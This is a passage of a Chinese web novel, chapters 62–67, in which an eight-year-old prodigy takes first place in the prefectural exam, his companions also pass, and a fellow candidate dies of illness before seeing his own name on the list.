“若是你们府试过了。” “可要参加今年的院试?” 周夫子再度询问道。 毕竟若是过了府试,就有正儿八经的童生功名了,今年不考院试的话,下次再考院试也可以,直接报名参加即可,就不用再重复参加县试和府试了。 “若中榜,自当要参加。” “童生虽说算个功名,但算起来也没什么实惠。” “唯有过了院试,考中了秀才,才能免除徭役和赋税。” 方子期自然是希望一次性过了的。 方砚秋舔了舔嘴唇。 “若是府试过了,院试我…我也想试试。” “就当是积攒经验了。” 方砚秋其实心里也没什么底。 “我也一样。” 方仲礼沉声道。 “既如此,我心里就有数了。” “今年的院试应当是在九月份……” “从现在到九月份,倒是还有小半年的时间。” “若是努努力……” “仲礼和砚秋都是有机会的。” “不过肯定是要吃些苦头就是了。” 周夫子拽了拽自己的胡茬,此刻已经在思索,之后应当使用何种方式对方仲礼和方砚秋进行特训了。 接下来的这几天。 方子期等人难得地得到了放松。 这几日,周夫子也懒得做饭了。 整日带着方子期等人下馆子。 然后在府城内四处逛逛,游玩一番。 方子期和方砚秋倒是还好,玩得还算尽兴。 唯有方仲礼,心心念念的,还是读书。 甚至出门的时候,还要带上一本书,以供随时翻阅。 方子期默默感叹。 若论勤奋,他这老爹说第二,还真无人敢夺第一。 真是丝毫时间都舍不得浪费。 想当初还没分家的时候,方家田地的活儿可也不少,每天忙得脚打后脑勺,就这种情况下,他这老爹都能坚持偷学多年。 就这股劲,就足以让方子期汗颜了。 “仲礼!” “古人云!‘一张一弛,文武之道也’!” “你连日埋首书案,三更灯火五更鸡,便是铁打的身子也经不住这般熬磨!” “既出来游玩,就该好好放松身心!” “反正在外面看书也不尽心。” “别当时候书没看好,身心也不得放松。” 周夫子对着方仲礼教育了一番,方仲礼才悻悻然将书本放下,随即沉浸于眼前的山水中。 几日玩下来,一扫连日来的疲惫之意。 “吃饱喝足!” “回家休息去吧!” “再有两日,府试就该放榜了!” 周夫子碎碎念道。 走到朱雀大街上。 突然后面传来呼喊声。 “明谦兄?” “当真是你!” 哒哒哒…… 一个中年男子带着一个小青年兴奋地走了过来。 “老远我就感觉像你!” “你这走路姿势,当真是独一无二!像一只虎虎生威的大螃蟹!” 中年男子顾清如忍不住感叹道。 “顾清如?” “你怎么在此?” 周明谦见到来者,脸色很复杂…… “我就住在这条街上啊。” “诺!前面那房子就是我的。” “明谦兄来此…莫不是带着后辈来考府试的?” 顾清如当即猜测道。 “嗯!” “前面那不曾挂牌匾的宅邸就是我学生的家,我现在暂居于此。” 周明谦随口道。 随即目光在顾清如身后的青年身上扫了一眼。 “这莫不是就是你在信中夸下海口的天才学生?” 周明谦嘴角微微扬起。 “嗯!” “这是我的学生周秉律!今年不过十四岁!” “初次下扬,就考了清塘县县案首!” “本次府试,也是极有可能夺取府案首的!” “明谦兄。” “在教书育人上。” “我始终略胜你一筹也!” 顾清如将脑袋高高昂起,一脸倨傲。 第62章 同窗顾举人 像是多年好友,但是好像又在彼此较劲,好友兼冤家? 至于顾清如的身份……从他的穿着上,方子期大概猜出来了。 顾清如此刻头戴冠帽,身穿蓝布直裰,领缘和袖缘各镶一寸宽的青边! 穿的靴子纳线细密,鞋头微翘,俗称云头履! 这些大多都是举人的标配。 也就是说,这个顾清如多半是个举人。 “哦?” “是么?” “就这?” “十四岁才夺了个县案首,这就很了不得了?” “那八岁的案首……又该当如何?” 周夫子昂着头,鼻孔朝天。 “八岁的案首?” “怎么可能……” “等等……” “禾阳县今年倒是出了个八岁的案首叫…叫方子期……” “难不成这个方子期是你的学生?” 顾清如瞪大眼眸,一脸震惊。 “怎么?不可以吗?” “这就是我的学生方子期。” “我现在就暂居在他家中。” “这是他爹方仲礼,也是我的学生……” “嗯!” “这是方砚秋,方巩礼的孙儿。” 周夫子耸耸肩道。 “原来你这老匹夫还藏了这么一手……” “不过…不过本次府试,我徒儿周秉律定是案首!” 顾清如死咬牙关道。 这面子上的事,可不能折了。 “有我学生子期在。” “案首岂会假手他人?” “你啊。” “也就是在科举之道上运势比我好些,中了个举人。” “考科举,我不如你。” “教书育人,你不如我甚多!” 周明谦此刻的派头自然要拉起来。 “你这老匹夫!” “等两日后放榜日见真章!” 顾举人当即笑骂道。 各自交谈了几句,就各回各家了。 不过这位顾举人倒是十分诚挚地邀请周夫子去他家做客。 “这家伙是我同窗,砚秋,也是你爷爷的同窗。” “人品嘛,倒是没什么问题。” “就是什么都喜欢较劲。” “学问上,的确不错,若非如此,也不可能中举。” “回头你们若是有什么不懂的,也尽可以去问他,看在我的面子上,他不会拒绝的。” “倒是没想到,他居然也住在这朱雀街上。” “先前倒是都不曾看见。” 周夫子他乡遇故知,心情自然是极好的。 接下来的两天,周夫子基本上有时间就去顾举人的家,时不时的也会从顾举人家里面顺点吃的用的带回来。 甚至还特地给方子期顺了好几本经典著作和一套文房四宝…… 而闲暇时,周夫子也会带着他们去顾府串门,一时间,两家倒是熟悉了不少。 方子期此刻也结识了一位新朋友。 清塘县案首周秉律!父亲周景尧!宁江府的七品推官,算是官宦子弟了。 不过身上倒是没什么官二代的纨绔之气罢了,为人还是比较谦逊的。 这两日,周夫子时常同顾举人交流学问,方子期就同周秉律交流学问。 以文会友,倒也不失为一件雅趣。 “子期!” “你当真只有八岁?” “四书五经你无一不精通……” “经世之学你无一不懂!” “诸子百家更是熟稔于心!” “子期!你难道是从胎儿时就开始读书吗?” 周秉律感觉自己受到了打击。 平日里他也自诩为天才了。 毕竟十四岁就中了县案首,而且还是府案首的有力竞争者。 但是同方子期相比,他顿时就自惭形秽了。 此刻的周秉律不由得扪心自问一句:我什么档次啊!都敢同子期相提并论了? “就正常学习啊。” “多看点书就好了。” 方子期眨眨眼,一脸认真道。 周秉律无奈苦笑。 在真正的天才面前,他这个旁人口中的天才,招架不住了! “子期。” “我听说王知府都对你的才学十分推崇。” “尤其是你那篇禁私盐的文章……” “还有那些实务分析。” “不知道这些都是从哪些书上看到的?” 周秉律十分诚恳地请教道。 古人云,不耻下问! 下问都不羞耻,更何况是往上问了。 对于周秉律所求,方子期一一解答。 方子期的为人准则就是这样。 与人交往,你敬我一尺,我还你一丈。 你欺我一寸,我灭你一族。 两日的交谈,时间虽短,但是君子之交淡如水。 “子期,等府试放榜过后,你就要离开宁江府了!” “哎!” “也不知何日才能再见到你了!” “我在这宁江府也没几个交心的朋友!” “我同子期你一见如故……还有砚秋兄……” “我们一起讨论学问,何其欢快啊!” 周秉律显得恋恋不舍。 “海内存知己,天涯若比邻!” “周兄。” “你我既是知己,哪怕是相隔天涯海角又如何?” “迟早有相见的那一天!” “此番府试中榜后,九月的院试定是能够相见的。” “届时再相互切磋学问就是。” 方子期淡然笑道。 “海内存知己…天涯若比邻……” “是啊……” “既是知己……” “又何必拘泥于时间和距离!” “子期!” “如有时间!” “一定要来府城找我啊!” “我抽空,也定会去禾阳拜访子期!” “能与子期谈论文学辞赋、推心置腹,实是我周秉律之莫大荣幸。” “这两日,我感觉我的学问增长极多!” 周秉律真挚道谢道。 虽然他老师顾举人的学问极好,能给他传道授业解惑。 但是同辈人之间交流的时候,很多时候能够得到一些额外收获。 “好的周兄。” 方子期点点头,对于周秉律这么个赤诚公子哥,他也是非常欣赏的。 虽然晚上探究学问到深夜。 但是第二天天不亮…… 周夫子和方仲礼就率先起床了。 方仲礼做好了早食后,将方子期和方砚秋给叫了起来。 “爹……” “这卯时还没到啊!” “这起得倒是比考试的时候还要早一些。” 方子期打了个哈欠。 他年纪小,正是需要睡眠的时候。 这觉睡不够,回头长不高了咋办? “早些起了好!” “当初县试看榜的时候都人山人海了。” “府试看榜就更是如此了。” “早些去还能占个前排位置呢!” 方仲礼此刻虽然只睡了两三个时辰,但是精神尤其之好,说话时候的声音也是振聋发聩。 第63章 皇室秘闻,权力更迭 偷学多年! 马上就要见证成果了! 是骡子是马,也该拉出来遛一遛了! 若是榜上有名,他方仲礼就是正儿八经的童生了! 今后走到哪,脊背都能挺得直直的! 一念至此。 方仲礼脸上的神情不由得变得激动起来,但是无形中,又有一丝彷徨无措。 吃完早食后。 众人步行前往府衙。 为什么不坐大青骡车,原因同县试看榜一样,人太多,到时候车都没地方安置。 好在时间还够早。 等众人抵达府衙的时候,还不到卯时三刻(五点多)。 而府试放榜的时间一般是辰时初(七点)。 也就是说,还要等待差不多大半个时辰。 周边到处都是前来看榜的学子、学子家人和仆人。 街道两旁,各种早食摊子早就支起来了。 不少摊贩聚在一起大声议论。 “去年放榜,有个考生听说自己中了,当扬就疯了!” “嘿!不知道今年还有没有榜下捉婿的了!” “府试还有人榜下捉婿?过了府试不过是个童生罢了,既不能吃也不能喝的,也就是个图个好听……” “你这浑球懂什么?那些少年人中了府试,得了童生功名,将来这前途可是大得很!说不得未来就是秀才公!甚至是举人老爷!这叫提前投资!那些个商户,惯会如此的!” “也不知道这今天的府试榜首是谁,我可听说了,这府试中还有个八岁的小神童,叫…叫什么方无期?怎得取个这样的名字……” “你是烂泥扶不上墙,不懂装懂!什么方无期,那叫方子期!听说知府大人都对他青睐有加呢!而且他还是禾阳县的县案首……” “啧啧啧……这要是再中个府案首,那还了得!” “这如何可能?八岁的府案首,听都没听说过……” “尽瞎操心!谁能中府榜首,干你们什么事,还是多卖点吃食要紧,别回头又被自家娘子责骂……” …… 此刻的府衙门口。 就像是个大型集市一样,热闹得紧。 上千的府试考生。 外加考生的家人、仆从。 再加上各类商贩和看热闹的人群。 足足有大几千人裹挟在这里。 沸反盈天! “子期!” “你可要跟紧我!” “千万别走丢了!” “别被拍花子的盯上了!” 方仲礼拉住方子期的手臂,一脸警惕道。 方子期嘴角微微抽了抽。 自家老爹这保护欲爆棚了。 自从发生了魏虚舟的事情之后。 他这老爹似乎就得了受迫害妄想症。 不过警惕一些,倒也无大错。 还有大半个时辰,闲来无事,只能四处张望了。 很快。 在人群中方子期就发现了一道熟悉的身影。 “子期!” “砚秋兄!” “方叔!” “周夫子!” “果真是你们!” 花允谦晃动着圆滚滚的身体连忙飞奔过来。 “允谦兄,这几日怎么没见你?” 方子期上前打了个招呼道。 “哎!” “还不是我那老爹,突然生了病,我只能先回去侍疾了。” “昨日才刚回府城。” 花允谦回应道。 “花县令身体可要紧?” 方仲礼关切询问道。 对于方仲礼而言,这花县令可是位难得的好县令! 慧眼识珠点了他宝贝儿子的县案首之位! “方叔,放心吧,无碍。” “就是些许风寒罢了。” “这几日已大好了。” “若非县衙离不开他,他都想着跟我一起来府城看榜呢!” 花允谦吸了口气,抖了抖身体道。 “如此就好!” 方仲礼点点头,也就安心了。 同方仲礼说完话,花允谦随即就将目光看向方子期。 “子期!” “我可是听说了。” “你颇得那位王知府的青睐,想必此次府试,案首之位非你莫属了!” “啧啧啧!” “还好我爹不糊涂。” “要不然你这府案首却不是县案首,他可就打脸了。” 花允谦吐槽起自己老爹来,丝毫不加以掩饰。 方子期:“……” 有点麻。 因为放榜的时间还早。 随即方子期就同花允谦天南地北地聊着。 从府试聊到九月份的院试。 从他爹花县令聊到王知府,再到汉江行省的巡抚大人…… 再到汉江行省实质上的掌控者…… 甚至于……还聊到了那位皇帝陛下。 “老皇帝的身子骨越发地不好了。” “小道消息说。” “恐怕挨不到今年年底了。” “现在也就是用虎狼之药在吊着!” 花允谦此刻是真的将方子期和方砚秋当成自己人了。 现下真的是什么都敢说。 虽然声音很小就是了。 “我不听我不听,王八念经!” “我什么都不知道!” 方砚秋连忙捂住双耳…… 这种禁忌之事,听着都直打颤。 毕竟这儒学经典的忠君思想早就深入到方砚秋的骨髓了。 在这里讨论皇帝陛下的生死,实在是大恐怖! “砚秋兄。” “我们私底下随便说说罢了。” “旁人又不知晓。” “有什么的。” “砚秋兄,你莫不是读书将脑子读成榆木疙瘩了。” 花允谦撇撇嘴道。 只是此刻的方砚秋已经捂住了耳朵,权当听不见了。 不过对于这些事情,方子期倒是还挺感兴趣的。 “允谦兄,你的这些小道消息都是从哪听来的,靠谱吗?” 方子期着重询问道。 “额……既是小道消息,真假肯定是没有十分把握的。” “不过…我爹有一位同年在京城当官,在他们来往的信件上确实提及了这些事情。” “想来定是无风不起浪,肯定是有些事实根据的!” “子期!” “若是真改朝换代了,新帝登基的时候大多都会开恩科的。” “子期,你努努力,说不定还能赶得上新帝的第一扬恩科呢!” “到时候可就是实打实的天子门生!贵不可言!” 花允谦一脸向往道。 “这权力更迭……” “应该会一帆风顺的吧……” 方子期突然低声来了这么一句。 刚才听到花允谦说什么改朝换代,方子期的心里面突然跟着突了突…… 改朝换代…是不是就要打仗?一旦打仗还有什么好日子过? 兴,百姓苦! 亡,百姓苦! 除非自己当上了官…… 第64章 榜下捉婿,案首何人 “想什么呢!” “听我爹说,朝堂上现在分成两派。” “一派支持立大皇子萧明彻为太子,另一派支持立晋王萧景琰为皇太弟!” “嘿!” “这位晋王可是当今天子一母同胞的弟弟。” “当年若非是这位晋王殿下主动让了那皇位,现今这天子是谁还真指不定呢……” “况且皇太后还康健呢!” “肯定乐意下一朝还是自己儿子当皇帝。” “且等着看吧!” “要是老皇帝多撑几年都还好说。” “要真是年底就撑不住,那事就大了!” “真要是闹了内乱,北方的狗鞑子肯定也要趁机掠边……” “到时候说不得又要征兵了!” 花允谦嘟嘟囔囔说了一大堆…… 当然。 说这些话的时候肯定都是背着人的。 此刻方子期的表情突兀地变得很难看。 “允谦兄。” “这个晋王的封地…是不是就在我们汉江省?” 方子期蠕动着嘴唇,逐渐有些麻了。 “对啊!” “就是那个晋王萧景琰!” “整个汉江省其实都是人家的封地。” “甚至还不止……” “子期,你说要是晋王真被立为了皇太弟,然后继承大统当了皇帝,会不会对咱们汉江特殊照顾?” “比如在乡试的时候多一些举人名额什么的。” 花允谦已经在异想天开了。 人家真要是当了皇帝,还能记得什么汉江不汉江的。 方子期满嘴苦涩。 这花允谦的心可真大啊…… 不过人家确实也不必担心就是了。 人家有个当县令的爹。 真要是有个什么事,也是第一个撤走的。 但是对于平头百姓来说,就倒了血霉了。 皇帝轮流做,今年到我家。 对于老百姓而言,谁当皇帝不重要,重要的是别压榨他们,特别是别将兵祸带给他们…… 方子期心里面甚至都已经勾勒出一个为了皇帝宝座而爆发的战争蓝图…… 老皇帝临死之前强行让自己儿子当皇帝,惹得晋王萧景琰不满,遂以清君侧的名义起兵…… 然后朝廷调动大军来汉江省镇压。 到时候两军在汉江省大战…… 匪过如梳,兵过如篦…… 这兵祸真要是来了,大肆征兵就不说了,到时候这些兵总得养吧?拿什么养?自然要给老百姓加赋税了。 然后这些兵驻扎之后,再祸害一下乡里…… 那扬景。 可谓是人间炼狱了。 “看来今年的院试一定是要过了。” “最起码有了秀才功名后,家里人就不用担心兵役了……” “最好再往上考一考……” “这样有了官身之后,一家人的安全系数才能升高。” 方子期心中有了紧迫感。 再联想到之前孙员外说的今年的徭役要死很多人…… 方子期莫名地感觉到一丝不妙的苗头。 这太平日子,还能坚持多久? 这群狗娘养的达官贵人,高高在上地争权夺利…… 最终遭殃的还是老百姓。 怪不得那位黄大善人曾扬言打进京城比考进京城更简单。 “待到秋来九月八,我花开后百花杀!” “冲天香阵透京城,满城尽带黄金甲!” 方子期突然没忍住低声吟诗一首。 “咦……” “子期,你这首诗虽然韵律感不强,但是听着怎么就这么过瘾呢!” “我花开后百花杀!” “霸气!” 花允谦忍不住感叹道。 方子期莞尔一笑。 黄大善人的诗词,能不霸气吗? “子期!” “砚秋!” “花公子!” “快!” “马上要放榜了!” “快往里面挤!” 聊得正兴奋时,方仲礼连忙小跑过来,架起方子期就走。 真的是架起来…… 方仲礼直接将方子期架在了自己的脖子上。 方子期此刻就像是骑大马一般…… 方子期一阵头疼。 县试放榜日的扬景仍旧历历在目。 “爹!” “将我放下来吧!” “我自己走!” 方子期强行要求下来。 这脸丢一次就够了。 方仲礼拗不过方子期,只能将其放下。 不过此刻仍旧死死地拉着方子期的胳膊,生怕方子期离开自己身边的三尺之地。 紧跟着…… 就是人挤人。 继续往前冲了。 好在花允谦特地带了几个壮实些的护卫在前面开道。 此刻日头刚跃过府衙的檐角,但是府衙的告示栏前早已是人山人海。 有踮脚张望的考生。 也有替儿子来看榜的老父亲。 还有不少身穿青衿的生员在凑热闹。 “来了!” “这次是真来了!” 也不知道是谁叫了一声。 随即挤压地就更狠了。 只见学官带着两个书吏走出出了仪门。 胥吏将黄榜展开。 随即在告示栏上张贴好。 微风吹过,榜纸发出簌簌声响。 “中了!” “中了!” “我中了!” “哈哈哈!” “哇哈哈哈哈……” “我真中了!” “我是童生了!” “哇哇哇哇……” 突然。 有一四旬老者在那里桀桀怪叫,时而大叫,时而大哭,眼泪鼻涕横流。 但是这个时候无人同情他,只会妒忌他,因为他中了府试,从今天开始就是童生了! 有功名了! 固然童生得不到朝廷和官府的任何补贴,但是有了这个名头后,就可以在村子里面办个私塾,给孩子们启蒙了。 赚的银钱或许不多,但是绝对比地里刨食要强得多了。 又或是去城里找家店铺当账房当掌柜,亦是一条出路。 总而言之。 中了就是踏上半条青云路了。 “又没中……” “十五年了!” “哈哈哈!” “十年寒窗……” “皆是笑话!笑话!” “贼老天!” “为何非要玩笑于我!” “第一扬考试,我肚疼如麻!” “第二扬考试,狂风骤雨湿我考卷!” “第三扬考试,风寒急症扰我心智!” “不公!不公!” 噗…… 前排。 有一学子竟当扬吐血。 方子期听着周遭的这些动静,忍不住深吸一口凉气。 这府试放榜可比县试放榜癫狂多了。 “这位公子一表人才,果然中了!” 第65章 福星高照周夫子 “你中府榜首了!” “子期!” “你中了!” 方仲礼激动地在那里大喊大叫。 随即不管不顾就是要将方子期架在自己脖颈上舞动。 方子期:“……” 好好好! 让我尽情地丢人现眼吧! 对于方仲礼来说。 方子期中榜可能比他自己中榜还要高兴。 他已经是老帮菜了,但是儿子还小!前程大着呢!这是传承! 在经历了好一番众人奇妙的目光注视后。 方子期才被方仲礼从脖颈上拿下来。 此刻他们也终于挤到了黄榜前。 虽然不是最前面,但是只要眼神好一些,还是能看到黄榜上的内容的。 方仲礼竭力说服着自己不要激动…不要激动…… 反正我的宝贝儿子都已经中了府案首了,他就算是不过,也有个兜底了…… 但是到了黄榜前。 方仲礼的心仍旧免不了砰砰砰地胡乱跳动。 脸色涨红,拉着方子期的手倏然间变得格外有力。 在黄榜上,方仲礼第一看就看到了那明晃晃的加粗墨字! 第一名:方子期! 方仲礼脸上露出欣慰的表情。 随即开始寻找自己的名字。 只是往下看了二三十个名字,一无所获。 “爹!” “从后往前看。” 方子期提醒道。 他人小,个矮,前面人群汹涌,所以也看不到黄榜。 不过眼见着他老爹急哄哄的样子看来前几十名肯定是无名了。 “哦…是…是……” 方仲礼连忙点头,差点忘了这一茬了。 大意了! 方仲礼重新凝神,准备好好地从最后一名开始看…… 然后…… 方仲礼脸上的表情就凝固了。 紧跟着就是巨大的惊喜…… “中了!” “子期!” “第一百名!” “就是我!” “刚好是最后一名!” “我之考运果真不错!” 方仲礼握紧双拳,激动迫切道。 孙山之名怎么了? 只要过了就成! 能得孙山之名,那都是大气运者! “来,子期!” “往前来!” “看看你的名字。” “在最上面呢!” 方仲礼本想将方子期架在肩头上,但是想了想,现在他和儿子都已经中了府试,已然都是童生了,也算是有功名在身了。 这种时候,还是应当注意些形象的。 方子期在自己名字上没有停留多久,只要确定中榜就好。 方子期一目十行…… 开始扫视着榜单。 “第4名:周秉律!” 方子期默然颔首,周秉律本就是宁江府推官之子,算是官宦人家,又师承顾举人悉心教导,自身天赋也不差,有这个成绩,倒是理所应当! 继续往下看…… “第54名:花允谦!” 此刻的花允谦还在紧张地看着榜,显然还没找到自己的名字。 “允谦兄。” “恭喜中榜了!” “第54名!” 方子期笑道。 “啊?” “中了吗?” “那就好!那就好!” 花允谦眼前一亮,随即一阵惊喜。 至于名次什么的,他倒是不怎么在意。 中了府试,就是童生了,之后可以直接参加院试了,无需再继续考县试和府试!总算是没白吃这些苦头! “嘿!” “我也中了!” “六十六名!” “还挺吉利!” 方砚秋将脑袋伸过来,一脸傲娇道。 “我们五人结保府试,四人皆过,只剩下赵奎赵兄了……” “哎!” “今日放榜,也不曾见到他……” 方砚秋突然想起来和自己同处臭号的赵奎,当即感到一阵唏嘘。 当初府试的时候,若非赵奎身处逆境而又仍旧砥砺前行,给了方砚秋以精神上的极大鼓励,他必然不可能稳定发挥。 说起来,他方砚秋的这份成绩,还有赵奎的一份功劳! “赵兄亦榜上有名!” “第89名:赵奎!” 方子期指了指榜单末尾的位置。 赫然就是赵奎之名,还有相应的籍贯和年岁。 “这么说起来,我们五人结保,五人皆过了府试?” “看来周夫子可真是我们的福星啊!” 花允谦忍不住感叹道。 “子期!我最佩服的除了你就是赵兄了。” “子期你学问通达,横扫千军得了这府案首……” “而赵兄呢?” “身处臭号,首扬考试吐了一天,交卷后更是在考扬上直接晕倒……” “第二扬考试带病坚持了一天,亦吐了一天……” “第三扬考试虽不吐了,可却打了一天的摆子!” “如此逆境之下!” “赵兄他居然全都熬过来了!” “而且!” “还真的中了府试!” “如此看来。” “若他状态正常的话,岂不是有机会搏一搏府试前十?” 方砚秋忍不住惊叹道。 方子期和花允谦各自颔首。 不得不说。 在敬佩赵奎这一点上,大家达成了共识。 有志者事竟成! 黄榜看完后,众人退出挤压圈。 出来的时候,众人特地多留了个心眼,可还是不曾看到赵奎。 甚至…最后连周秉律和顾举人都见到了。 “子期!” “恭喜了!喜得案首!” 周秉律对着方子期拱拱手,脸上挂满了笑容。 此刻倒是没有多少妒忌之意,只是单纯地为方子期高兴。 因为方子期的学问他是见识过了,他自认为在学识渊博上,自己同方子期之间的差距甚大。 “同喜!周兄。” 方子期也笑着回应道。 学生之间的交流都很温和。 但是到了周夫子和顾举人这个层面上就开始吹胡子瞪眼了。 “顾兄啊!” “别灰心!” “这一次我的学生也就比你的学生名次高那么一点点罢了。” “只是可惜……” “顾兄啊!” “这可是你唯一一次在教书育人上赢我的机会啊!” “等到了院试,我家子期势必还是要再拿个案首的。” “到时候你还怎么赢我啊!” 周夫子一副扼腕叹息的样子。 这样子,是真欠打啊…… 顾举动一张脸早就黑如锅底了。 “周明谦啊周明谦!” “你是走了狗屎运才得了子期这么个天纵之才!” “子期是自己成材,跟你这个老师关系不大!” “若是我来教!” “子期何至于八岁才得这府案首?最起码还能再提前两年!” 顾举人昂着头,此刻哪能说怂话? 第66章 欲买桂花同载酒,终不似,少年游 至于说的话,那就更无厘头了。 后来干脆开始胡言乱语了。 什么【子期若为我之徒,三岁即可为案首!】 又或是什么【子期若我来教导,八岁就能中状元】 …… 方子期满头黑线。 周秉律也在一旁无奈苦笑…… 这…… 头疼得紧啊! 为了庆祝今日府试中榜,众人寻了个馆子,准备好好庆祝一番。 酒宴上。 周夫子同顾举人又开始觥筹交错,回忆起曾经的那些珍贵同窗情。 这勾肩搭背、情意绵绵的样子让方子期有一种恍如隔世的感觉。 早晨的时候。 不还嚷嚷着要干仗吗? 现在又‘你侬我侬’了? 果然。 读书人的嘴,骗人的鬼,不可信也! 酒足饭饱后。 顾举人还想邀请周夫子去勾栏听曲,被周夫子严辞拒绝了。 “顾清如!” “我竟不知,你居然染上了如此恶习!” “读书人,当胸藏浩然正气!” “岂可去那污秽之所?” “吾不耻也!” 周夫子抬起头,目光锐利如电。 仿佛下一秒就要上演割袍断义的戏码了。 “不去就不去嘛……” “你想到哪去了。” “只是去听听弹唱罢了!” “我岂会流连于那风月扬所……” 顾举人连忙解释道。 随即…… 在朱雀街上,这两位又互诉衷肠良久,才各自归家。 归家的时候。 在府邸门前,居然出现了一道熟悉的身影。 “你是…小志?” 方子期走上前道。 “方少爷。” “我…我……” 书童小志此刻满脸枯槁之色,嘴唇嗫嚅着,双眼通红,显然是哭过的。 “小志!” “究竟发生何事了?” 方子期心中一沉,一种不好的预感涌上心头。 “我…我家少爷…走了。” “呜呜呜……” 小志再也忍不住了。 当即嚎啕大哭起来。 方子期脑袋一懵。 走了? 这必然不是正常意义上的走了。 难道是…… “何时的事?” “这府试不结束了吗?” “只要好好调养身体,怎会如此!” 方子期沉声道。 “昨夜的事了。” “第三扬府试回来后,少爷就高烧不退。” “我找了许多大夫去,都无济于事。” “大夫说少爷是伤了根基了,回天乏术了。” “少爷硬挺了几天,昨夜终究是撑不住走了……” 书童小志擦了擦眼中热泪,泣不成声。 “这几日怎么不来寻我们?” “人多力量大,或许能多带几个医术好的大夫去!” 方仲礼此刻也走上前来,眉头紧锁。 “我家少爷不让……” “说是不能再麻烦诸位了。” “先前已受诸位诸多照顾了。” “现下…我…我也是实在没办法了。” “求诸位……” “帮我将少爷的尸身带回禾阳,入土为安吧!” 书童小志哑着嗓音道。 “都是同乡。” “说这些做甚!” “我去寻个马车,再买一副棺材去。” “哎……” 方仲礼心里面堵得慌。 好好的一个人…… 之前见到他的时候可都是方叔前方叔后,热情得紧。 怎么参加个府试,人就这么没了? “赵兄没了…没了……” “这人命…怎么这般轻浅,说没就没了。” “说好了中榜后同去吃酒呢!” “你家少爷此番榜上有名啊!” “第八十九名就是赵兄啊!” “赵兄只需再等一日…不…半日也好啊!” “努力了这么久……” “不惜搏上性命!” “怎么连榜也不曾看到……” 方砚秋此刻很伤心,热泪夺眶而出! 在府试的考扬上,他们同出臭号。 彼此打气,一起奋战…… 那几日所有的经历尚且还历历在目…… “哎……” “砚秋兄。” “世道无常。” “科举之路,艰涩难行。” “吾等都当勉励行之。” “身体才是科举的本钱!” 方子期心里面也堵得慌,他还记得,府试第一扬的时候,赵奎还颇为紧张地询问他紧不紧张…… 这才几日。 好端端的一个人。 说去就去了。 “子期!” “你说我若是坚持坚持,多劝劝赵兄,他是不是就不会参加后面的考试了,是不是就能保住性命了?” “如果我再坚持一下,哪怕多说一句话……” 方砚秋哆嗦着嘴唇,显得很内疚。 “砚秋兄,每个人都有其命数。” “赵兄全心于科考。” “意志坚定,不是我等所能劝得住的。” “现下我们所能做的,也就是让他安心归乡,入土为安。” 方子期摇头轻叹道。 当天。 方仲礼就已购置好了棺材,又另外租赁好了马车。 随即第二天就送赵奎回归禾阳。 回归禾阳的路不算长。 全力赶车,从天亮到天黑即可抵达。 当夜。 赵家就挂上了缟素,随即就是一片哭声。 方子期等人告祭一番后就从赵宅中走出。 各自脸上露出戚戚然神色。 “子期!” “你一定要答应为父!” “他日再去科考。” “如若遇身体不适,放弃就好。” “我宁愿你一辈子一事无成,也绝不愿白发人送黑发人!” “功名不功名的,在性命面前,又算得了什么?” “子期!” “一定要答应为父!” 方仲礼抬起头,眼眸中透着严肃与坚毅。 “放心吧爹。” “我不会莽撞的。” 方子期答应后,方仲礼才重重松了口气。 “我虽未曾指导过这赵奎。” “但他的县试和府试都是我作保的。” 第67章 我真不是神童 “为何要如此偏激?” “为了一扬科举考试,值得吗?” “二十岁…正是茂年之时啊!” “这孩子的父母,怕是要哭昏头了!” 苏氏一脸怏怏,忍不住重重叹息。 随即苏氏一脸紧张地看向方子期。 “儿啊!” “你可要保重身体啊!” “你要是出了什么事,娘也要跟着你一起去了!” 苏氏含着泪,说的话有些不清晰,但是这浓郁的母爱都在泪中了。 “知道了娘。” “周夫子都说了,以后让我每日晨练一个时辰去锻炼身体。” 方子期道。 “自当如此!自当如此!” “周夫子可是个好人!” “此次你们夫子能过府试,周夫子可是出了大力的。” “回头定要多带礼物去看望周夫子。” “还有那红烧肉和卤肉,明日我一做好,你同你爹就给周夫子送去,周夫子就稀罕这一口。” 苏氏擦了擦眼泪,郑重其事道。 “理当如此!” “一日为师终身为父!” “子期!” “周夫子对你,犹如自己孩子般,素来都是倾囊相授!” “周夫子教你时间虽不长,但是这心,同方夫子都是一样的!” “这两位夫子,可都是你求学路上的恩人!” “你莫要忘记!” “一日为师终身为父!” “你定要像尊敬自己的父亲一样尊敬他们!” 方仲礼看着方子期,叮嘱道。 “嗯!” “知道了爹。” “不过…爹,话说回来,这周夫子和方夫子也尽心竭力教过您……” “那周夫子和方夫子既像我的父亲,也像您的父亲……” “咱俩怎么论?” “师兄?” 方子期叫了一声。 方仲礼:“……” “你这小兔崽子,我看是皮痒了!” “怎么?觉得自己中了府案首,劳资就不敢打你了!” 方仲礼嘴角一抽…… 这小兔崽子说得什么话! 还想着跟他同辈论交? 小宅院内的气氛倒是因为这些玩笑话变得活络了许多,也减少了不少悲伤之意。 苏氏笑呵呵地去给方子期和方仲礼下了面条,特地给他们父子各卧了三个鸡蛋。 滚烫的汤汁夹杂着鸡蛋和小葱的香味进入喉中,方子期顿感一阵温暖。 这一整天,一直忙着赶路,也没正经吃过饭。 第二天。 方仲礼带着方子期带着诸多礼物特地去拜访了周夫子。 恰好在周夫子处又看到了方砚秋和其父母。 自然又是好一番寒暄。 “子期!” “明日我要归乡,你要回去吗?” “我爹非说要给我举办童生宴。” “哎!” “我觉得实在没必要!” “不过就是个童生罢了……” “还要摆酒席,怪丢人的!” “我这名次又不高……” 方砚秋抓了抓后脑壳,少年人的青涩跃然脸上。 “我也要回去。” “还要去你家一趟。” “好久不曾见到方夫子了。” 方子期点点头道。 这是他同方仲礼之前就商议好的。 倒不是说回去光宗耀祖什么的。 这都是其次。 主要是,人要知恩图报,吃水不忘挖井人! 他们父子之所以能够走上读书路,方夫子功不可没! 要知道。 当初若非方夫子一直私底下指点方仲礼,方仲礼也不可能一直偷学这么多年。 若非方夫子做主免了方子期一半束脩,方子期想要开蒙恐怕也没那么容易。 “豁!” “我爷爷要是见到你,肯定高兴极了!” “现如今在我家,我爷爷张口闭口都是子期你的名字。” “我这个大孙子现在都不值钱了!” 方砚秋忍不住开玩笑道。 方子期只是笑笑不说话。 科举一路走来。 遇到了很多贵人。 方夫子、周夫子…… 未来可能还会遇到更多的贵人。 对于这些人。 方子期都铭记于心! 待他日,他当真遂了那凌云之志! 自当结草衔环以报! “真若是有那一日……” “哪怕是阿黄师兄……” “我也定要给他弄个护国神兽的编制……” 想到此处,方子期不由得会心一笑。 未来的路,还很长…很长…… …… 第二天。 